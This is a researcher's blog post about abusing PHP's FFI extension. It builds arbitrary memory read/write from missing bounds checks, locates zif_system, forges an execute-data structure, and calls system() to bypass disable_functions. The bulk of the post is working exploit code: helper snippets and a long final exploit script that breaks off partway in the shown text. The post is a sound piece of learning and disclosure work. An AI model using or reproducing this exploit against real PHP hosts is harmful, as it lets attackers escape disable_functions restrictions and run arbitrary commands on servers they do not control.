Tuesday, July 7, 2020

From Web to Pwn - FFI Arbitrary read/write without FFI::cdef or FFI::load (Part 2)

This is part 2 of a two part blog series. Please read part 1 first on our CTF team's blog here -> https://pwnfirstsear.ch/2020/07/20/0ctf2020-noeasyphp.html

Getting Arbitrary Read/Write

Following 0CTF...and some much needed sleep.. I went back to playing with FFI - since if it was that easy to leak memory then there had to be some other interesting things, right? To my surprise `FFI::memcpy()` was ALSO missing bounds checks on the destination when the `dst` was of type `ZEND_FFI_TYPE_POINTER` (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286):


 if (Z_TYPE_P(zv1) == IS_STRING) {
  ptr1 = Z_STRVAL_P(zv1);
  if (size > Z_STRLEN_P(zv1)) {
   zend_throw_error(zend_ffi_exception_ce, "attempt to read over string boundary");
   return;
  }
 } else if (Z_TYPE_P(zv1) == IS_OBJECT && Z_OBJCE_P(zv1) == zend_ffi_cdata_ce) {
  cdata1 = (zend_ffi_cdata*)Z_OBJ_P(zv1);
  type1 = ZEND_FFI_TYPE(cdata1->type);
  if (type1->kind == ZEND_FFI_TYPE_POINTER) {
   ptr1 = *(void**)cdata1->ptr;
  } else {
   ptr1 = cdata1->ptr;
   if (type1->kind != ZEND_FFI_TYPE_POINTER && size > type1->size) {
    zend_throw_error(zend_ffi_exception_ce, "attempt to read over data boundary");
    return;
   }
  }
 } else {
  zend_wrong_parameter_class_error(1, "FFI\\CData or string", zv1);
  return;
 }

This combined with our OOB read from earlier gave us OOB read AND write. Naturally the next step was to turn these into arbitrary read/write primitives. I also saw this as a good chance to learn some PHP internals and pwning. All we really had to do was find a way to control the pointer value that `FFI::String` and `FFI::memcpy` would read from and write to - it turns out that FFI makes this very easy for us!

Reintroducing `FFI::addr()`! According to the PHP docs:


Creates an unmanaged pointer to the C data represented by the given FFI\CData. The source ptr must survive the resulting pointer. This function is mainly useful to pass arguments to C functions by pointer.

Great - but would it really just give us a pointer to the CData object or would it do some internal trickery (no really -- I didn't know anything about PHP internals before this) ?

For this we had to dive into FFI internals a bit and see what the `FFI::addr` function was doing under the hood:

...
    cdata = (zend_ffi_cdata*)Z_OBJ_P(zv);
    type = ZEND_FFI_TYPE(cdata->type);

    new_type = emalloc(sizeof(zend_ffi_type));
    new_type->kind = ZEND_FFI_TYPE_POINTER;
    new_type->attr = 0;
    new_type->size = sizeof(void*);
    new_type->align = _Alignof(void*);
    /* life-time (source must relive the resulting pointer) ??? */
    new_type->pointer.type = type;

    new_cdata = (zend_ffi_cdata*)zend_ffi_cdata_new(zend_ffi_cdata_ce);
    new_cdata->type = ZEND_FFI_TYPE_MAKE_OWNED(new_type);
    new_cdata->ptr_holder = cdata->ptr;
    new_cdata->ptr = &new_cdata->ptr_holder;
...

 and for this to make sense you need to understand what the cdata structure looks like:

typedef struct _zend_ffi_cdata {
    zend_object            std;
    zend_ffi_type         *type;
    void                  *ptr;
    void                  *ptr_holder;
    zend_ffi_flags         flags;
} zend_ffi_cdata;

So what `FFI::addr` does is create a new CDATA object, place the cdata->ptr from your current object into the new object's ptr_holder, and finally take the reference to your original object's ptr_holder and place it in the new object's ptr. But what does this mean for us in terms of the exploit?

Well if we create a CDATA object and call `FFI::addr` on it we are given a new object where the value is a pointer! Now if we call `FFI::addr` again on the resulting pointer we are given a pointer reference to a CDATA object itself! Finally - we can directly overwrite the CDATA object pointer itself - which when combined with the OOB read and OOB Write gives us an effective arbitrary read/write.

Below is the example read/write along with some helper functions. I should also mention I use FFI::cast to easily convert the pointer to an integer (there's surely better ways to do everything on this blog post - let's get that out of the way now).


<?php
//snippet
function ptrVal($ptr) {
    $tmp = FFI::cast("uint64_t", $ptr);
    return $tmp->cdata;
}
function allocate($amt, $fill) {
     $buf = FFI::new("char [".$amt."]");
     $bufPtr = FFI::addr($buf);
     FFI::memset($bufPtr, $fill, $amt);
     return array($bufPtr, $buf);
}
function Read($addr, $n = 8, $hex = 0) {
    list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42);
    $vulnBufPtrPtr = FFI::addr($vulnBufPtr);

    $packedAddr = pack("Q",$addr);
    FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);

    return leak($vulnBufPtr, $n, $hex);
}
function Write($addr, $what, $n) {
    list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42);
    $vulnBufPtrPtr = FFI::addr($vulnBufPtr);

    $packedAddr = pack("Q",$addr);
    FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);

    FFI::memcpy($vulnBufPtr, $what, $n);
}
$r = Read(0xdeadbeefcafebabe);
Write(0xdeadbeefcafebabe, "AAAAAAAA", 8);
?>

disable_functions Bypass and Calling System()

With an arbitrary read/write it was time to actually pwn PHP and call system() with an arbitrary command. This was quite a learning process for me and led me down many hours of reading Zend source code, fighting with GCC security features, and staring at GDB.

I will try to keep this section relatively short. I started this journey looking at https://raw.githubusercontent.com/mm0r1/exploits/master/php7-backtrace-bypass/exploit.php with the intention of crawling up my CDATA object, getting a .text leak, walking back to the ELF header, parsing zif_system's address and executing it. This turned out to be the best way forward on the default PHP7.4 ubuntu installs - but of course I compiled the latest PHP myself from master and spent hours dealing with SCOP [https://bitlackeys.org/papers/secure_code_partitioning_2018.txt] (thanks dreamist!). Essentially this placed gaps between each PHP binary memory mapping making it impossible to walk back pages with a .text leak to parse the ELF header. I created a work around that worked for my local build --- you will see it in the final exploit. Will it work on other builds... probably not. For the rest of this I will focus on the exploit using the "parse elf header" technique.

zif_system() Leak

In PHP, many of the builtin functions are exposed from C to the PHP world using the C macro "PHP_FUNCTION" which prepends "zif_" to the internal name of the PHP function. So if our goal is to call system("cat /etc/passwd)" we really want to call zif_system() internally. This requires finding the address of zif_system.

Our first requirement was to get a .text section leak for the PHP binary. This would be our ticket to resolving the holy `zif_system` address. Fortunately for us our CDATA object has a pointer to a list of function handlers :). Our goal is to use our read to read a handler's address which would be in the php image. In the standard PHP build we had to read further into the handler list to get PHP .text pointer and not a ffi.so .text pointer.

<?php
//snippet
/*
   (zend_types.h)
    struct _zend_object { <-----typdef zend_object
        zend_refcounted_h gc;
        uint32_t          handle; // may be removed ???
        end_class_entry *ce;
        const zend_object_handlers *handlers; <--- func ptrs
        HashTable        *properties;
        zval              properties_table[1];
    };
    (ffi.c)
    typedef struct _zend_ffi_cdata {
        zend_object            std;
        zend_ffi_type         *type;
        void                  *ptr; <--- OVERWRITE
        void                  *ptr_holder; <--
        zend_ffi_flags         flags;
    } zend_ffi_cdata;
*/
list($xPtr, $x) = allocate(64, 0x41);
$xPtrVal = ptrVal($xPtr);
$xPtrPtr = FFI::addr($xPtr);
$xPtrPtrVal = ptrVal($xPtrPtr);
$handlersPtrPtr = $xPtrPtrVal - (6 * 8);
$handlersPtr = unpack("Q", Read($handlersPtrPtr))[1];
$textLeak = unpack("Q", Read($handlersPtr+16))[1];
?>

With a valid .text leak (and a build of PHP not hardened via SCOP - we can rely on "mm0r1"'s method of parsing the elf header to leak zif_system. For the sake of brevity, you may reference my final exploit to see this process.

Controlling RIP - Calling zif_system with complete function control

With a proper zif_system leak our next step was to call zif_system with our controlled args. Now I spent a lot of time here reading up on previous PHP exploits - but all I could find where Use-After-Frees that had an easy way to create a malicious closure object in memory which essentially allowed them to call a php function by address with the proper argument.

Despite my best effort I could not find a way to overwrite a closure. Naturally my first thought was to overwrite the handlers we saw earlier... unfortunately though the first argument was a bit of a pain to control as it was always a pointer to our own CDATA object. Great  - we control that...although not so much. Before I will mention that zif_system is not simply expecting a C string of the system command to call. It accepts a pointer to a zend_execute_data object which we will focus on later.

Silly me thought I just had to pass "cat /etc/passwd" to zif_system.. but it makes much more sense that it would take an internal PHP structure as system() is called using a PHP string NOT a C string. This heavily complicated things.

In addition to the complex zif_system arg, the handlers were called in such a way that i could not corrupt the handler pointer being called (makes sense), but this means i lose some space in our controlled first argument. I needed complete control with out any FFI code paths messing up my call.

Admitably I spent many hours on this and in GDB trying to figure out my best course of action... also looking for ways to make PHP set up this argument object for me instead myself having to forge it in memory. Eventually I decided I had no choice but to fake the object -- but I still needed a 100% controlled call.

Taking a step back I remember that I'm exploiting FFI...which allows you to call functions... duh. Although I wanted this to be done WITHOUT use FFI::cdef() or FFI::load(). First I tried creating a function pointer with FFI, writing zif_system to its val, and calling it.

Example of my function pointer attempt:

<?php
//snippet
$x = FFI::new("char* (*)(const char *)");
?>

As it turns out `zend_ffi_cdata_get_closure` actually checks if the CDATA type is `ZEND_FFI_TYPE_FUNC` which apparently ours was not. So using our write we fix that, write zif_system, then get 100% controlled arguments to any address. (We can actually do as many arguments as we want -- we can just add them to the function pointer declaration!).


<?php
//snippet
$helper = FFI::new("char* (*)(const char *)");
//$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control
$helperPtr = FFI::addr($helper);

$helperPtrVal = ptrVal($helperPtr);
$helperPtrPtr = FFI::addr($helperPtr);
$helperPtrPtrVal = ptrVal($helperPtrPtr);

$helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr
$r = unpack("Q", Read($helperTypePtrPtr))[1];
$helperTypePtr = $r;

// Set it to ZEND_FFI_TYPE_FUNC
Write($helperTypePtr, "\x10", 1);

// Finally write zif_system to the value
Write($helperPtrVal, pack("Q", $zif_system), 8);
?>

Calling zif_system

For the final step we need to create a proper zend_execute object to pass to `zif_system`. The `zif_system` call is pretty odd and uses ALOT of C macros which made reading it a PITA. What I ended up gathering is a pointer is passed to zend_execute object followed by the arguments itself. The arguments and zend_object go through a series of checks before the call is actually executed and we had to pass each check.

The argument in memory looks something like this:


zif_system(*zend_execute_data, return_val);

zend_execute_data* -> struct _zend_execute_data 
{
    const zend_op       *opline;           /* executed opline                
    zend_execute_data   *call;             /* current call                   
    zval                *return_value;
    zend_function       *func;             /* executed function              
    zval                 This;             /* this + call_info + num_args 
    zend_execute_data   *prev_execute_data;
    zend_array          *symbol_table;
    void               **run_time_cache;   /* cache op_array->run_time_cache 
}; //0x48 bytes
Zval {
    value = *cmdString ([16 bytes] + [QWORD string size] + [NULL terminated string])
    u1.type = 6 (IS_STRING)
    u2.???? = unused
}

So using how FFI tricks to allocate arbitrary memory we create the needed objects and eventually call zif_system!!!


<?php
//snippet
$cmd = "touch /tmp/WIN.txt";

$execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's
$execute_data .= pack("L", 0); // this.u1.type
$execute_data .= pack("L", 1); // this.u2.num_args
$execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj
$execute_data .= str_shuffle(str_repeat("D", 8)); //padding

$cmd_ = str_repeat("X", 16); // unk padding
$cmd_ .= pack("Q", strlen($cmd)); // string len
$cmd_ .= $cmd . "\0"; // ensure null terminated!
list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0);
$cmdBufPtrVal = ptrVal($cmdBufPtr);
FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_));
printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal);

// Now setup the zval object itself
$zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string)
$zval .= pack("L", 6); // zval.u1.type (IS_STRING [6])
$zval .= pack("L", 0); // zval.u2 - unused

$execute_data .= $zval;

$res = $helper($execute_data);
?>

Parting Thoughts

First and foremost - no this does not exit cleanly and no you do not get system output from the command. It's probably possible to do both.

As for the big question - does this use actual FFI bugs or am I just abusing FFI itself? PHP claims on their security bug report FAQ that nothing in FFI can be a security bug... additionally one might argue that these are not even bugs. It is just abuse FFI itself which already allows you to call into libc using FFI::cdef()... so. what's the point? Maybe there is none. Do I think these are bugs? Yes - there are many places where they do bounds checking in FFI.. so why bother with any if arb read/write is intended?

This is PHP's stance on this and I will respect their decision. Truth be told this journey was more about me learning how to pwn PHP and I was very happy in what I've learned. Particularly calling zif_system with a crafted argument - I could not find this technique used elsewhere.

For what it is worth I did report this to PHP prior to this post and they confirmed that this is not a security bug.


Final exploit... typos...notes..some struggles..and all. Note that in the original exploit I call each interesting finding that I abuse a "BUG" - looking back I'm not sure if calling these bugs is accurate. While I think the missing bound checks appear to be unintentional, perhaps FFI is designed this way on purpose.  (MD5: 837034ab8198c13f97935215b65ad576)
[https://gist.github.com/huntergregal/cb7066438f0155c4951c24a284885911]



<?php
/*
FFI Exploit - uses 3 potential BUGS.
PHP was contacted and said nothing in FFI is a security issue.

Able to call system($cmd) without using FFI::load() or FFI::cdefs()

* BUG #1 (maybe intended, but why have any size checks then?)
  no bounds check for FFI::String() when type is ZEND_FFI_TYPE_POINTER
  (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4411)

* BUG #2 (maybe intended, but why have any checks then?)
  no bounds check for FFI::memcpy when type is ZEND_FFI_TYPE_POINTER
  (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286)

* BUG #3
  Can walk back CDATA object to get a pointer to its internal reference pointer using FFI::addr()
  call FFI::addr on a CDATA object to get its pointer (also a CDATA object), then call FFI::addr
  on the resulting ptr to get a handle to it's ptr, which is the ptr_holder for the original CDATA
  object


   the easiest way is to create cdata object, write target RIP (zif_system's address) to it
   and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it

Exploit steps:
    1. Use read/write to leak zif_system pointer
        a. walk cdata object to leak handlers pointer ( in .bss )
        b. scan .bss for pointer to a known value ( *.rodata ptr), that we know usually sits
            right below a pointer to the .data.relro segment
        c. Increment and read the .data.relro pointer to get a relro section leak
        d. Using the relro section leak, scan up memory looking for the 'system' string that is
           inside the zif_system relro entry. 
        e. once found, increment and leak the zif_system pointer
    2. Hijack RIP with complete argument control
        a. create a function pointer CDATA object using FFI::new() [not callable as it is
            technically not a propper ZEND_FFI_TYPE_FUNC since it wasnt made with FFI::cdef()
        b. Overwrite the object'd data with zif_system pointer
        c. Overwrite the objects zend_ffi_type_kind with ZEND_FFI_TYPE_FUNC so that it is
            callable with our own arguments
    3. Create proper argument object to pass to zif_system (zend_execute_data .. )
        a. Build out the zend_execute_data object in a php string
        b. right after the object is the argument object itself (zval) which we must also
            build. To do so we build our PHP_STRING in another FFI buffer, leak the pointer
            and place it into a fake zval STRING object.
        c. finally we can call zif_system with a controlled argument

    NOTE: does NOT exit cleanly nor give command output -- both may be possible

Author: Hunter Gregal
Tested on:
    - PHP 7.4.7 x64 Ubuntu 20, ./confiure --disable-all --with-ffi
    - PHP 7.4.3 x64 Ubuntu 20 (apt install)
*/

ini_set("display_errors", "On");
error_reporting(E_ALL);

function pwn($cmd) {
    function allocate($amt, $fill) {
        // could do $persistent = TRUE to alloc on libc malloc heap instead
        // but we already have a good read/write primitive
        // and relying on libc leaks for gadgets is not very portable
        // (custome compiled libc -> see pornhub php 0-day)
        $buf = FFI::new("char [".$amt."]");
        $bufPtr = FFI::addr($buf);
        FFI::memset($bufPtr, $fill, $amt);
        // not sure if i need to keep the CData reference alive
        // or not - but just in case return it too for now
        return array($bufPtr, $buf);
    }
    
    // uses leak to leak data from FFI ptr
    function leak($ptr, $n, $hex) {
        if ( $hex == 0 ) {
            return FFI::string($ptr, $n);
        } else {
            return bin2hex(FFI::string($ptr, $n));
        }
    }
    
    function ptrVal($ptr) {
        $tmp = FFI::cast("uint64_t", $ptr);
        return $tmp->cdata;
    }
    
    /* Read primative
    writes target address overtop of CDATA object pointer, 
    then leaks directly from the CDATA object
    */
    function Read($addr, $n = 8, $hex = 0) {
        // Create vulnBuf which we walk back to do the overwrite
        // (the size and contents dont really matter)
        list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
        // walk back to get ptr to ptr (heap)
        $vulnBufPtrPtr = FFI::addr($vulnBufPtr);
        /*// DEBUG
        $vulnBufPtrVal = ptrVal($vulnBufPtr);
        $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
        printf("vuln BufPtr =  %s\n", dechex($vulnBufPtrVal));
        printf("vuln BufPtrPtr =  %s\n", dechex($vulnBufPtrPtrVal));
        printf("-------\n\n");
        */
    
        // Overwrite the ptr
        $packedAddr = pack("Q",$addr);
        FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
    
        // Leak the overwritten ptr
        return leak($vulnBufPtr, $n, $hex);
    }
    
    /* Write primative
    writes target address overtop of CDATA object pointer, 
    then writes directly to the CDATA object
    */
    function Write($addr, $what, $n) {
        // Create vulnBuf which we walk back to do the overwrite
        // (the size and contents dont really matter)
        list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
        // walk back to get ptr to ptr (heap)
        $vulnBufPtrPtr = FFI::addr($vulnBufPtr);
        /*// DEBUG
        $vulnBufPtrVal = ptrVal($vulnBufPtr);
        $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
        printf("vuln BufPtr =  %s\n", dechex($vulnBufPtrVal));
        printf("vuln BufPtrPtr =  %s\n", dechex($vulnBufPtrPtrVal));
        printf("-------\n\n");
        */
    
        // Overwrite the ptr
        $packedAddr = pack("Q",$addr);
        FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
    
        // Write to the overwritten ptr
        FFI::memcpy($vulnBufPtr, $what, $n);
    }
    
    function isPtr($knownPtr, $testPtr) {
        if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) {
            return 1;
        } else {
            return 0;
        }
    }
    
    /* Walks looking for valid pointers
    * - each valid ptr is read and if it 
    -  points to the target return the address of the
    -  ptr and the location it was found
    */
    //function getRodataAddr($bssLeak) {
    function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) {
        $start = $segmentLeak;
        for($i = 0; $i < $maxQWORDS; $i++) {
            if ( $up == 0 ) { // walk 'down' addresses
                $addr = $start - (8 * $i);
            } else { // walk 'up' addresses
                $addr = $start + (8 * $i);
            }
            //$leak = Read($addr, 8);
            $leak = unpack("Q", Read($addr))[1];
            
            // skip if its not a valid pointer...
            if ( isPtr($segmentLeak, $leak) == 0 ) {
                continue;
            }
            $leak2 = Read($leak, $n = $size);
            //printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2);
            if( strcmp($leak2, $target) == 0 ) { # match
                return array ($leak, $addr);
            }
        }
        return array(0, 0);
    }

    function getBinaryBase($textLeak) {
        $start = $textLeak & 0xfffffffffffff000;
        for($i = 0; $i < 0x10000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = Read($addr, 7);
            //if($leak == 0x10102464c457f) { # ELF header
            if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) { # ELF header
                return $addr;
            }
        }
        return 0;
    }
 
    function parseElf($base) {
        $e_type = unpack("S", Read($base + 0x10, 2))[1];

        $e_phoff = unpack("Q", Read($base + 0x20))[1];
        $e_phentsize = unpack("S", Read($base + 0x36, 2))[1];
        $e_phnum = unpack("S", Read($base + 0x38, 2))[1];

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = unpack("L", Read($header, 4))[1];
            $p_flags = unpack("L", Read($header + 4, 4))[1];
            $p_vaddr = unpack("Q", Read($header + 0x10))[1];
            $p_memsz = unpack("Q", Read($header + 0x28))[1];

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function getBasicFuncs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = unpack("Q", Read($data_addr+ ($i * 8)))[1];
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = unpack("Q", Read($leak))[1];
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = unpack("Q", Read($data_addr + (($i + 4) * 8)))[1];
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = unpack("Q", Read($leak))[1];
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }

    function getSystem($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = unpack("Q", Read($addr))[1];
            $f_name = Read($f_entry, 6) . "\0";

            if( strcmp($f_name, "system\0") == 0) { # system
                return unpack("Q", Read($addr + 8))[1];
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    // Convenient for debugging
    function crash() {
        Write(0x0, "AAAA", 4);
    }
    
    
    printf("\n[+] Starting exploit...\n");
    // --------------------------- start of leak zif_system address
    /* NOTE: typically we would leak a .text address and
      walk backwards to find the ELF header. From there we can parse
      the elf information to resolve zif_system - in our case the
      base PHP binary image with the ELF head is on its own mapping
      that does not border the .text segment. So we need a creative 
      way to get zif_system
    */
    /* ---- First, we use our read to walk back to the our Zend_object,
    //   and get its zend_object_handlers* which will point to the
    //   php binary symbols zend_ffi_cdata_handlers in the .bss.
    //
    //_zend_ffi_cdata.ptr-holder - _zend_ffi_cdata.ptr.std.handlers == 6 QWORDS
    //
    //   From there we search for a ptr to a known value (happens to be to the .rodata section)
    //   that just so happens to sit right below a ptr to the 'zend_version' relro entry.
    //   So we do some checks on that to confirm it is infact a valid ptr to the .data.relro.
    //
    //   Finally we walk UP the relro entries looking for the 'system' (zif_system) entry.
    
    (zend_types.h)
    struct _zend_object { <-----typdef zend_object
        zend_refcounted_h gc;
        uint32_t          handle; // may be removed ???
        end_class_entry *ce;
        const zend_object_handlers *handlers; <--- func ptrs
        HashTable        *properties;
        zval              properties_table[1];
    };
    (ffi.c)
    typedef struct _zend_ffi_cdata {
        zend_object            std;
        zend_ffi_type         *type;
        void                  *ptr; <--- OVERWRITE
        void                  *ptr_holder; <--
        zend_ffi_flags         flags;
    } zend_ffi_cdata;
    
    */ 
    
    list($dummyPtr, $dummy) = allocate(64, 0x41);
    // dummy buf ptr
    $dummyPtrVal = ptrVal($dummyPtr);
    
    // dummy buf ptr ptr
    $dummyPtrPtr = FFI::addr($dummyPtr);
    $dummyPtrPtrVal = ptrVal($dummyPtrPtr);
    
    printf("Dummy BufPtr =  0x%x\n", $dummyPtrVal);
    printf("Dummy BufPtrPtr = 0x%x\n", $dummyPtrPtrVal);
    $r = leak($dummyPtr, 64, 1);
    printf("Dummy buf:\n%s\n", $r);
    printf("-------\n\n");
    
    /*
    // ------ Test our read and write 
    $r = Read($dummyPtrVal, 256, 1);
    printf("Read Test (DummyBuf):\n%s\n", $r);
    
    Write($dummyPtrVal, "CCCCCCCC", 8);
    $r = Read($dummyPtrVal, 256, 1);
    printf("Write Test (DummyBuf):\n%s\n", $r);
    // ----------
    */
    
    $handlersPtrPtr = $dummyPtrPtrVal - (6 * 8);
    printf("_zend_ffi_cdata.ptr.std.handlers = 0x%x\n", $handlersPtrPtr);
    
    $handlersPtr = unpack("Q", Read($handlersPtrPtr))[1]; // --> zend_ffi_cdata_handlers -> .bss
    printf("zend_ffi_cdata_handlers = 0x%x\n", $handlersPtr);
    
    // Find our 'known' value in the .rodata section -- in this case 'CORE'
    // (backup can be 'STDIO)'
    list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4);
    if ( $rodataLeak == 0 ) {
        // If we failed let's just try to find PHP's base and hope for the best
        printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n");
        // use .txt leak
        $textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object
        printf(".textLeak = 0x%x\n", $textLeak);
        $base = getBinaryBase($textLeak);
        if ( $base == 0 ) {
            die("Failed to get binary base\n");
        }
        printf("BinaryBase = 0x%x\n", $base);
        // parse elf
        if (!($elf = parseElf($base))) {
            die("failed to parseElf\n");
        }
        if (!($basicFuncs = getBasicFuncs($base, $elf))) {
            die("failed to get basic funcs\n");
        }
        if (!($zif_system = getSystem($basicFuncs))) {
            die("Failed to get system\n");
        }
        // XXX HERE XXX
        //die("Get rodata addr failed\n");
    } else {
        printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak);
    
        // Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static
        // zend_version is in .data.rel.ro
        $dataRelroPtr = $rodataLeakPtr + 8;
        printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr);
        
        // Read the .data.relro potr
        $dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1];
        if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) {
            die("bad zend_version entry pointer\n");
        }
        printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak);
        
        // Confirm this is a ptrptr to zend_version
        $r = unpack("Q", Read($dataRelroLeak))[1];
        if ( isPtr($dataRelroLeak, $r) == 0 ) {
            die("bad zend_version entry pointer\n");
        }
        
        printf("'zend_version' string ptr = 0x%x\n", $r);
        
        $r = Read($r, $n = 12);
        if ( strcmp($r, "zend_version") ) {
            die("Failed to find zend_version\n");
        }
        printf("[+] Verified data.rel.ro leak @ 0x%x!\n", $dataRelroLeak);
        
        
        /* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry
          - this is a LARGE section...
        */
        list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1);
        if ( $systemEntryPtr == 0 ) {
            die("Failed to find zif_system relro entry\n");
        }
        printf("system relro entry = 0x%x\n", $systemEntryPtr);
        $zif_systemPtr = $systemEntryPtr + 8;
        $r = unpack("Q", Read($zif_systemPtr))[1];
        if ( isPtr($zif_systemPtr, $r) == 0 ) {
            die("bad zif_system pointer\n");
        }
        $zif_system = $r;
    }
    printf("[+] zif_system @ 0x%x\n", $zif_system);
    
    // --------------------------- end of leak zif_system address
    // --------------------------- start call zif_system
    
    
    /* To call system in a controlled manner
       the easiest way is to create cdata object, write target RIP (zif_system's address) to it
       and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it
    */
    $helper = FFI::new("char* (*)(const char *)");
    //$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control
    $helperPtr = FFI::addr($helper);
    
    //list($helperPtr, $helper) = allocate(8, 0x43);
    //$x[0] = $zif_system;
    $helperPtrVal = ptrVal($helperPtr);
    $helperPtrPtr = FFI::addr($helperPtr);
    $helperPtrPtrVal = ptrVal($helperPtrPtr);
    printf("helper.ptr_holder @ 0x%x -> 0x%x\n", $helperPtrPtrVal, $helperPtrVal);
    
    // Walk the type pointers
    //$helperObjPtr = $helperPtrPtrVal - (9 *8); // to top of cdata object
    //printf("helper CDATA object @ 0x%x\n", $helperObjPtr);
    $helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr
    //printf("helper CDATA type PtrPtr @ 0x%x\n", $helperTypePtrPtr);
    $r = unpack("Q", Read($helperTypePtrPtr))[1];
    if ( isPtr($helperTypePtrPtr, $r) == 0 ) {
        die("bad helper type  pointer\n");
    }
    $helperTypePtr = $r;
    
    // Confirm it's currently ZEND_FFI_TYPE_VOID (0)
    $r = Read($helperTypePtr, $n=1, $hex=1);
    if ( strcmp($r, "00") ) {
        die("Unexpected helper type!\n");
    }
    
    printf("Current helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_VOID (0)\n", $helperTypePtrPtr, $helperTypePtr);
    
    // Set it to ZEND_FFI_TYPE_FUNC (16 w/ HAVE_LONG_DOUBLE else 15)
    Write($helperTypePtr, "\x10", 1);
    
    printf("Swapped helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_FUNC (16)\n", $helperTypePtrPtr, $helperTypePtr);
    
    // Finally write zif_system to the value
    Write($helperPtrVal, pack("Q", $zif_system), 8);
    
    // --------------------------- end of leak zif_system address
    // ----------------------- start of build zif_system argument
    /*
        zif_system takes 2 args -> zif_system(*zend_execute_data, return_val)
        For now I don't bother with the return_val, although tehnically we could control
        it and potentially exit cleanly
    */
    
    // ----------- start of setup zend_execute_data object
    
    /* Build valid zend_execute object
    struct _zend_execute_data {
        const zend_op       *opline;           /* executed opline                
        zend_execute_data   *call;             /* current call                   
        zval                *return_value;
        zend_function       *func;             /* executed function              
        zval                 This;             /* this + call_info + num_args 
        zend_execute_data   *prev_execute_data;
        zend_array          *symbol_table;
        void               **run_time_cache;   /* cache op_array->run_time_cache 
    }; //0x48 bytes
    */
    
    //This.u2.num_args MUST == our number of args (1 or 2 apparantly..) [6 QWORD in execute_data] 
    $execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's
    $execute_data .= pack("L", 0); // this.u1.type
    $execute_data .= pack("L", 1); // this.u2.num_args
    $execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj
    $execute_data .= str_shuffle(str_repeat("D", 8)); //padding
    
    // ----------- end of setup zend_execute_data object
    // ----------- start of setup argument object
    /* the ARG (zval) object lays after the execute_data object
    
    zval {
        value = *cmdStr ([16 bytes] + [QWORD string size] + [NULL terminated string])
        u1.type = 6 (IS_STRING)
        u2.???? = [unused]
    }
    */
    
    /*
    //  Let's get our target command setup in a controlled buffer
    //   TODO - use the dummy buf?
    // the string itself is odd. it has 16 bytes prepended to it that idk what it is
    // the whole argument after the zend_execute_data object looks like
    */
    
    $cmd_ = str_repeat("X", 16); // unk padding
    $cmd_ .= pack("Q", strlen($cmd)); // string len
    $cmd_ .= $cmd . "\0"; // ensure null terminated!
    list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0);
